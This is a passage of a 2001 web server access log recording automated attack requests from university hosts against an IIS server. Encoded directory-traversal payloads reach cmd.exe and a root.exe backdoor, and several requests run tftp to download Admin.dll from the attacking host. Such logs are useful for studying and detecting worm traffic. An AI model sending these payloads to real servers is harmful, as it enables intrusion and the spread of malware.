/_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:46:31: itboss.syr.edu [128.230.182.161] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:46:31: itboss.syr.edu [128.230.182.161] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:46:31: itboss.syr.edu [128.230.182.161] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:46:31: itboss.syr.edu [128.230.182.161] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:46:31: itboss.syr.edu [128.230.182.161] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:46:31: itboss.syr.edu [128.230.182.161] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:46:31: itboss.syr.edu [128.230.182.161] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:46:32: itboss.syr.edu [128.230.182.161] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:46:32: itboss.syr.edu [128.230.182.161] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:46:32: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 13:46:55: ecom.gsb.columbia.edu [128.59.205.95] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 13:46:55: ecom.gsb.columbia.edu [128.59.205.95] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:46:56: ecom.gsb.columbia.edu [128.59.205.95] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:46:56: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:46:56: ecom.gsb.columbia.edu [128.59.205.95] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:46:56: ecom.gsb.columbia.edu [128.59.205.95] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:46:56: ecom.gsb.columbia.edu [128.59.205.95] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:46:56: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:46:56: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:46:56: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:46:56: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:46:56: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:46:56: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:46:56: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:46:56: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:46:56: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 13:51:07: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 13:51:07: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:51:07: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:51:07: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:51:07: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:51:07: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:51:07: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:51:07: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:51:07: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:51:07: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:51:07: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:51:07: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:51:07: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:51:07: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:51:07: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:51:08: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 13:51:29: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/root.exe?/c+tftp%20-i%20128.59.205.95%20GET%20Admin.dll%20Admin.dll HTTP/1.0" 20010918 13:51:29: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/Admin.dll HTTP/1.0" 20010918 13:51:29: ecom.gsb.columbia.edu [128.59.205.95] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 13:51:29: ecom.gsb.columbia.edu [128.59.205.95] "GET /MSADC/root.exe?/c+tftp%20-i%20128.59.205.95%20GET%20Admin.dll%20Admin.dll HTTP/1.0" 20010918 13:51:29: ecom.gsb.columbia.edu [128.59.205.95] "GET /MSADC/Admin.dll HTTP/1.0" 20010918 13:51:29: ecom.gsb.columbia.edu [128.59.205.95] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:51:29: ecom.gsb.columbia.edu [128.59.205.95] "GET /c/winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.205.95%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0" 20010918 13:51:29: ecom.gsb.columbia.edu [128.59.205.95] "GET /c/winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.205.95%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0" 20010918 13:51:29: ecom.gsb.columbia.edu [128.59.205.95] "GET /c/winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.205.95%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0" 20010918 13:51:29: ecom.gsb.columbia.edu [128.59.205.95] "GET /c/Admin.dll HTTP/1.0" 20010918 13:51:29: ecom.gsb.columbia.edu [128.59.205.95] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:51:29: ecom.gsb.columbia.edu [128.59.205.95] "GET /d/winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.205.95%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0" 20010918 13:51:29: ecom.gsb.columbia.edu [128.59.205.95] "GET /d/winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.205.95%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0" 20010918 13:51:29: ecom.gsb.columbia.edu [128.59.205.95] "GET /d/winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.205.95%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0" 20010918 13:51:29: ecom.gsb.columbia.edu [128.59.205.95] "GET /d/Admin.dll HTTP/1.0" 20010918 13:51:29: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:51:29: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.205.95%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0" 20010918 13:51:29: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.205.95%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0" 20010918 13:51:29: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.205.95%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0" 20010918 13:51:30: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%255c../Admin.dll HTTP/1.0" 20010918 13:51:30: ecom.gsb.columbia.edu [128.59.205.95] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:51:30: ecom.gsb.columbia.edu [128.59.205.95] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.205.95%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0" 20010918 13:51:30: ecom.gsb.columbia.edu [128.59.205.95] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.205.95%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0" 20010918 13:51:30: ecom.gsb.columbia.edu [128.59.205.95] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.205.95%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0" 20010918 13:51:30: ecom.gsb.columbia.edu [128.59.205.95] "GET /_vti_bin/..%255c../..%255c../..%255c../Admin.dll HTTP/1.0" 20010918 13:51:30: ecom.gsb.columbia.edu [128.59.205.95] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:51:30: ecom.gsb.columbia.edu [128.59.205.95] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.205.95%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0" 20010918 13:51:30: ecom.gsb.columbia.edu [128.59.205.95] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.205.95%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0" 20010918 13:51:30: ecom.gsb.columbia.edu [128.59.205.95] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.205.95%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0" 20010918 13:51:30: ecom.gsb.columbia.edu [128.59.205.95] "GET /_mem_bin/..%255c../..%255c../..%255c../Admin.dll HTTP/1.0" 20010918 13:51:30: ecom.gsb.columbia.edu [128.59.205.95] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:51:30: ecom.gsb.columbia.edu [128.59.205.95] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.205.95%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0" 20010918 13:51:30: ecom.gsb.columbia.edu [128.59.205.95] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.205.95%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0" 20010918 13:51:31: ecom.gsb.columbia.edu [128.59.205.95] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.205.95%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0" 20010918 13:51:31: ecom.gsb.columbia.edu [128.59.205.95] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../Admin.dll HTTP/1.0" 20010918 13:51:31: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:51:31: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.205.95%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0" 20010918 13:51:31: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.205.95%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0" 20010918 13:51:31: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.205.95%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0" 20010918 13:51:31: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%c1%1c../Admin.dll HTTP/1.0" 20010918 13:51:31: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:51:31: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.205.95%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0" 20010918 13:51:31: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.205.95%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0" 20010918 13:51:31: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.205.95%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0" 20010918 13:51:31: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%c0%2f../Admin.dll HTTP/1.0" 20010918 13:51:32: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:51:32: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.205.95%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0" 20010918 13:51:32: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.205.95%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0" 20010918 13:51:32: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.205.95%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0" 20010918 13:51:32: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%c0%af../Admin.dll HTTP/1.0" 20010918 13:51:32: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:51:32: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.205.95%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0" 20010918 13:51:32: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.205.95%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0" 20010918 13:51:32: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.205.95%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0" 20010918 13:51:32: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%c1%9c../Admin.dll HTTP/1.0" 20010918 13:51:32: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:51:32: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.205.95%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0" 20010918 13:51:32: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.205.95%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0" 20010918 13:51:32: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.205.95%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0" 20010918 13:51:32: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%%35%63../Admin.dll HTTP/1.0" 20010918 13:51:32: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:51:32: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.205.95%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0" 20010918 13:51:32: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.205.95%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0" 20010918 13:51:33: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.205.95%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0" 20010918 13:51:33: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%%35c../Admin.dll HTTP/1.0" 20010918 13:51:33: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:51:33: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.205.95%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0" 20010918 13:51:34: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.205.95%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0" 20010918 13:51:34: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.205.95%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0" 20010918 13:51:34: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%25%35%63../Admin.dll HTTP/1.0" 20010918 13:51:34: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:51:34: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.205.95%20GET%20Admin.dll%20c:\Admin.dll HTTP/1.0" 20010918 13:51:34: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.205.95%20GET%20Admin.dll%20d:\Admin.dll HTTP/1.0" 20010918 13:51:34: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+tftp%20-i%20128.59.205.95%20GET%20Admin.dll%20e:\Admin.dll HTTP/1.0" 20010918 13:51:34: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%252f../Admin.dll HTTP/1.0" 20010918 13:51:34: dhcp0.cs.columbia.edu [128.59.19.200] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 13:52:15: dhcp0.cs.columbia.edu [128.59.19.200] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 13:52:15: dhcp0.cs.columbia.edu [128.59.19.200] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:52:15: dhcp0.cs.columbia.edu [128.59.19.200] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:52:15: dhcp0.cs.columbia.edu [128.59.19.200] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:52:15: dhcp0.cs.columbia.edu [128.59.19.200] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:52:15: dhcp0.cs.columbia.edu [128.59.19.200] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:52:15: dhcp0.cs.columbia.edu [128.59.19.200] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:52:15: dhcp0.cs.columbia.edu [128.59.19.200] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:52:15: dhcp0.cs.columbia.edu [128.59.19.200] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:52:16: dhcp0.cs.columbia.edu [128.59.19.200] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:52:17: dhcp0.cs.columbia.edu [128.59.19.200] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:52:17: dhcp0.cs.columbia.edu [128.59.19.200] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:52:17: dhcp0.cs.columbia.edu [128.59.19.200] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:52:17: dhcp0.cs.columbia.edu [128.59.19.200] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:52:17: dhcp0.cs.columbia.edu [128.59.19.200] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:52:17: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 13:55:23: ecom.gsb.columbia.edu [128.59.205.95] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 13:55:23: ecom.gsb.columbia.edu [128.59.205.95] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:55:23: ecom.gsb.columbia.edu [128.59.205.95] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:55:23: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:55:23: ecom.gsb.columbia.edu [128.59.205.95] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:55:23: ecom.gsb.columbia.edu [128.59.205.95] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:55:24: ecom.gsb.columbia.edu [128.59.205.95] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:55:24: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:55:24: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:55:24: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:55:24: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:55:24: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:55:24: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:55:24: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:55:24: ecom.gsb.columbia.edu [128.59.205.95] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:55:25: dynamic-25-82.dyn.columbia.edu [128.59.25.82] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 13:56:43: dynamic-25-82.dyn.columbia.edu [128.59.25.82] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 13:56:44: dynamic-25-82.dyn.columbia.edu [128.59.25.82] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:56:44: dynamic-25-82.dyn.columbia.edu [128.59.25.82] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:56:44: dynamic-25-82.dyn.columbia.edu [128.59.25.82] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:56:44: dynamic-25-82.dyn.columbia.edu [128.59.25.82] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:56:44: dynamic-25-82.dyn.columbia.edu [128.59.25.82] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:56:44: dynamic-25-82.dyn.columbia.edu [128.59.25.82] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:56:44: dynamic-25-82.dyn.columbia.edu [128.59.25.82] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:56:44: dynamic-25-82.dyn.columbia.edu [128.59.25.82] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:56:44: dynamic-25-82.dyn.columbia.edu [128.59.25.82] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:56:44: dynamic-25-82.dyn.columbia.edu [128.59.25.82] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:56:45: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/root.exe?/c+dir HTTP/1.0" 20010918 13:56:45: dynamic-25-82.dyn.columbia.edu [128.59.25.82] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:56:45: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 20010918 13:56:45: dynamic-25-82.dyn.columbia.edu [128.59.25.82] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:56:45: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:56:45: dynamic-25-82.dyn.columbia.edu [128.59.25.82] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:56:45: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:56:45: dynamic-25-82.dyn.columbia.edu [128.59.25.82] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:56:45: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:56:45: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:56:45: bus215-220.gsb.columbia.edu [128.59.215.220] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 20010918 13:56:45: bus215-220.gsb.columbia.edu [128.59.215.220] "GET 